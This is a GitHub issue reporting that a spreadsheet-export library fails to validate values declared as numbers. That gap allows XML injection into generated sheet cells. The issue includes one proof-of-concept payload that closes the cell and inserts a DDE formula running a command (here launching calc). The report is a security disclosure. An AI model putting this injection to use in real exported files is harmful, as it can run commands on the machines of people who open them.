Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is no check that number is number. This creates a security issue #85

Open
nicklassigurdh opened this issue May 17, 2021 · 0 comments

Comments

@nicklassigurdh
Copy link

There is no validation If you have a string as your value for a type number.
This makes it possible to insert xml and create a XML-injection attack

Example:

data: [
        {
            value: 'before</v></c><c r="B1"><f>=cmd|\'/C calc\'!A0</f><v>1</v></c><c r="C1"><v>after',
            type: 'number'
          }]
      ]
@nicklassigurdh nicklassigurdh changed the title There is no check that number is number this creates a security issue There is no check that number is number. This creates a security issue May 18, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant